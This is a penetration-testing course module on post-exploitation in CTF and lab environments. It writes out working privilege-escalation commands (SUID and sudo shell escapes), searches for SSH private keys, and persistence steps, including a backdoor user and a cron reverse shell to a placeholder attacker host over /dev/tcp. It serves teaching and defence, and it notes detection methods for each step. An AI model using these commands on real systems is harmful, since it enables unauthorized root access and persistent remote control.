Module 09: Post-Exploitation¶

← Module 08: Exploitation Basics | Topic Home | Next: CTF Methodology →

Post-exploitation answers "so what?" — translating a shell into a business impact statement that tells the client what an attacker could actually do with the access.

[!NOTE] Stub Module — Full theory content will be expanded in a future update.

Overview¶

Gaining initial access is not the end of a penetration test — it is the beginning of impact assessment. Post-exploitation determines what an attacker can do with the access they have achieved: what data is accessible, whether they can elevate privileges, whether they can reach other systems on the network, and whether they can maintain persistent access.

This module covers post-exploitation in the context of authorized CTF and lab environments. The techniques are taught to understand their defensive implications — every post-exploitation technique has a detection opportunity (logs, EDR telemetry, network monitoring) and a prevention control.

[!IMPORTANT] Post-exploitation techniques — privilege escalation, lateral movement, persistence — have significant potential for harm if used without authorization. Everything in this module is for CTF machines, your own lab (Metasploitable), and authorized professional engagements only.

Prerequisites¶

[[pentesting-security/modules/08_exploitation-basics]] — Initial access is required before post-exploitation
[[pentesting-security/modules/02_networking-for-security]] — Understanding network topology for lateral movement

Objectives¶

By the end of this module, you will be able to:

Perform basic enumeration after gaining initial access on a CTF machine
Identify common privilege escalation vectors on Linux and Windows
Explain lateral movement techniques and their defensive countermeasures
Describe persistence mechanisms and how defenders detect them
Determine the business impact of a successful post-exploitation chain
Document post-exploitation findings with appropriate evidence

Theory¶

Initial Enumeration After Shell¶

After gaining a shell, the first priority is understanding where you are, what you can access, and what paths exist to elevated privileges.

# Linux post-exploitation enumeration checklist

# Who am I and what groups do I have?
id
whoami
groups

# What OS and kernel version?
uname -a
cat /etc/os-release

# What users exist on this system?
cat /etc/passwd
getent passwd | grep -v nologin | grep -v false

# What can I run as sudo?
sudo -l

# What SUID/SGID binaries exist? (potential privesc vectors)
find / -perm -4000 -type f 2>/dev/null  # SUID files
find / -perm -2000 -type f 2>/dev/null  # SGID files

# What is running and what ports are listening?
ps aux
netstat -tulnp  # or: ss -tulnp

# What cron jobs exist?
crontab -l
cat /etc/crontab
ls -la /etc/cron.*

# Interesting files and directories
ls -la /home/
ls -la /var/www/
find / -name "*.conf" -readable 2>/dev/null
find / -name "*.bak" -readable 2>/dev/null
find / -name "id_rsa" -readable 2>/dev/null  # SSH private keys

Linux Privilege Escalation¶

After enumeration, common privilege escalation vectors include:

SUID Binaries:

# If a binary has the SUID bit set, it runs as its owner (often root)
# Check GTFOBins (https://gtfobins.github.io/) for exploitation of specific binaries

# Example: if /usr/bin/find has SUID
/usr/bin/find . -exec /bin/sh -p \; -quit
# -p = privileged mode, preserves SUID root context

# Example: if python has SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Sudo Misconfigurations:

# sudo -l shows what the current user can run as root

# Example: allowed to run vim as sudo
sudo vim -c ':!/bin/bash'

# Example: allowed to run python as sudo
sudo python3 -c 'import os; os.system("/bin/bash")'

# GTFOBins is the reference for these techniques

Kernel Exploits:

# Check kernel version
uname -r
# Research CVEs for that kernel version
# Use tools like linux-exploit-suggester
# Example: DirtyCow (CVE-2016-5195) affected kernels before 4.8.3

# linux-exploit-suggester (installed on Kali)
/usr/share/linux-exploit-suggester/linux-exploit-suggester.sh

Writable cron jobs, PATH manipulation, weak file permissions: These are the "misconfiguration" class of privilege escalation — the system works as designed, but the design has a security flaw.

Lateral Movement¶

After gaining elevated access on one host, an attacker may attempt to reach other systems in the network. This is lateral movement. Defenders detect it through: - Unusual authentication events (new users logging into systems for the first time) - Pass-the-hash/pass-the-ticket attempts in Windows environments - Unusual network connections between internal systems

# After gaining access, network enumeration to find other hosts
ip route                 # What networks are reachable?
arp -a                   # What hosts have been in ARP cache?
cat /etc/hosts           # Any interesting hostnames?

# Ping sweep to find active hosts (if authorized in scope)
for i in {1..254}; do ping -c1 192.168.1.$i 2>/dev/null | grep "64 bytes" && echo "Host $i up"; done

# Port scan from inside the network (reaches internal systems unreachable from outside)
nmap -sn 192.168.1.0/24  # Requires nmap on target or transferred

Persistence Mechanisms¶

Persistence allows an attacker to maintain access after a reboot. Defenders detect persistence through integrity monitoring, log analysis, and endpoint detection tools.

# Common Linux persistence techniques (for understanding — these leave traces)

# Add backdoor user (noisy — audit logs show user creation)
useradd -m -s /bin/bash -G sudo backdoor  # Only works with root access

# Cron job (check with: crontab -l; cat /etc/crontab)
crontab -e
# Add: */5 * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# SSH authorized_keys (check with: cat ~/.ssh/authorized_keys)
mkdir -p ~/.ssh
echo "attacker_public_key" >> ~/.ssh/authorized_keys

# The defensive detection for each:
# New user: auth.log, /etc/passwd changes, SIEM alert
# Cron: auditd, file integrity monitoring on /etc/cron*, crontab directory
# SSH key: auditd, file integrity monitoring on ~/.ssh/authorized_keys

Determining Business Impact¶

The post-exploitation findings directly inform the business impact statement in the report:

TECHNICAL FINDING: SSH access to web server as www-data
POST-EXPLOITATION FINDING: Privilege escalation to root via SUID binary
LATERAL MOVEMENT FINDING: From web server, could reach internal database (192.168.10.50:3306)
DATA ACCESS FINDING: MySQL root access; customers table contains 50,000 records with PII and payment data

BUSINESS IMPACT STATEMENT:
"An unauthenticated attacker who exploits the identified SQL injection vulnerability on the
public website could escalate privileges to root on the web server, pivot to the internal
database server, and exfiltrate the complete customers table (50,000 records) containing
names, email addresses, and partial payment card information. This represents a significant
breach of customer PII and potential PCI-DSS compliance violation with regulatory reporting
obligations."

Key Concepts¶

Privilege Escalation — The process of gaining higher privileges than initially obtained. Vertical: from unprivileged user to root/admin. Horizontal: from one user to another user. GTFOBins (Linux) and LOLBAS (Windows) are the references for binary-based privilege escalation.

Lateral Movement — Moving from the initially compromised host to other hosts in the network. Requires either credentials found on the first host or exploiting services accessible from the internal network position.

Persistence — Mechanisms to maintain access after a reboot or session termination. Always generates forensic artifacts. In authorized engagements, persistence implants must be documented and removed at engagement end.

Pass-the-Hash (PtH) — A Windows technique where an NTLM password hash (extracted from memory) is used to authenticate without knowing the plaintext password. Detection: unusual authentication events in Windows Event Logs. Defense: privileged access workstations, LAPS, Credential Guard.

Examples¶

Example 1: Post-Exploitation Enumeration Script¶

#!/bin/bash
# Post-exploitation quick enumeration script
# Use only on authorized systems

echo "=== IDENTITY ==="
id; whoami; hostname

echo "=== OS ==="
uname -a; cat /etc/os-release 2>/dev/null | head -5

echo "=== SUDO PERMISSIONS ==="
sudo -l 2>/dev/null

echo "=== SUID BINARIES ==="
find / -perm -4000 -type f 2>/dev/null | head -20

echo "=== INTERESTING FILES ==="
find / -name "*.conf" -readable 2>/dev/null | grep -v /proc | head -10
find /home -name "*.txt" -readable 2>/dev/null 2>&1 | head -10

echo "=== NETWORK ==="
ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null

echo "=== CRON JOBS ==="
crontab -l 2>/dev/null
cat /etc/crontab 2>/dev/null

Common Pitfalls¶

Pitfall 1: Over-exploiting in an authorized engagement. The goal is to demonstrate impact, not to fully compromise every system. Establish impact with minimal footprint; document what could have been done rather than doing it all.

Pitfall 2: Leaving persistence in place. All backdoors, cron jobs, and users added during an authorized test must be removed and documented at the end of the engagement. Leaving implants is a contractual and ethical violation.

Pitfall 3: Not checking defensive tools. Check if EDR tools (Carbon Black, CrowdStrike) are present — running exploitation scripts may trigger alerts and start an incident response process during your authorized engagement. Coordinate with the client.

Cross-Links¶

[[pentesting-security/modules/08_exploitation-basics]] — Initial access that enables post-exploitation
[[pentesting-security/modules/10_ctf-methodology]] — CTF machines require the same enumeration
[[pentesting-security/modules/12_capstone-project]] — Post-exploitation is a required phase in the capstone report

Summary¶

Post-exploitation translates "I have a shell" into "here is the business impact"
Initial enumeration: identity, OS, sudo permissions, SUID binaries, cron jobs, network topology
Linux privilege escalation vectors: SUID binaries (GTFOBins), sudo misconfigurations, kernel CVEs
Lateral movement leverages internal network position to reach hosts inaccessible from outside
Persistence creates forensic artifacts — document everything and clean up after authorized tests
Business impact statement connects technical findings to organizational risk